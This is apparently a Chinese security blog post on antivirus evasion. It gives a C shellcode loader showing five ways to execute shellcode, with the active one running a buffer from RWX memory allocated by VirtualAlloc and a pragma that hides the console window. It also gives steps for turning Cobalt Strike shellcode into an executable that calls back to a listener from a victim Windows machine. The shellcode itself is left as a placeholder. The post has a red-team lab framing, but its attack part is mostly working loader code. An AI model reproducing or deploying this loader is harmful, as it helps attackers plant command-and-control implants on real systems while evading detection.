免杀对抗-ShellCode上线+回调编译执行+混淆变异算法

C/C++ --ShellCode-免杀对抗

介绍:

         shellcode是一段用于利用软件漏洞而执行的代码,shellcode为16进制的机器码,因为经常让攻击者获得shell而得名。我们经常在CS里面生成指定编程语言的payload,而这个payload里面就是一段十六进制的机器码。

为什么要使用shellcode

       因为shellcode的免杀手段多,损坏的可能性小,能自定义更多选择。

环境:

攻击机:kali--->cs服务端和msfwin11--->cs客户端

受害机:win10--->虚拟机

调用shellcode的五种原生态方式:

文件名:原生态.c

#include <Windows.h>
#include <stdio.h>
#include <string.h>

#pragma comment(linker,"/subsystem:\"Windows\" /entry:\"mainCRTStartup\"")   //windows控制台程序不出黑窗口
unsigned char buf[] = 你的shellcode

int main()
{
     //方式一:指针执行
     //((void(*)(void)) & buf)();
	
     //方式二:强制类型转换
     //((void(WINAPI*)(void))&buf)();
	
     //方式三:申请动态内存加载
     char* Memory;
     Memory = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
     memcpy(Memory, buf, sizeof(buf));
     ((void(*)())Memory)();

    //方式四:嵌入汇编加载
    //__asm {
    //lea eax,buf
    //call eax
    //}
	
    //方式五:汇编花指令
    //__asm{
    //mov eax, offset shellcode
    //_emit 0xFF
    //_emit 0xE0
    //}
}
 

一、保证cs/msf生成的shellcode能正常上线

测试:cs上线

1.kali启动服务端cs

2.windows启动客户端cs连接

3.创建监听器Listeners

4.生成shellcode脚本

5.打开Visual Studio工具,将生成的shellcode放到加载脚本中(使用的调用执行方式是:申请动态内存加载),利用C/C++语言编译成exe执行文件。注意:编译时要注意位数

评论 5
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

xiaoheizi安全

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值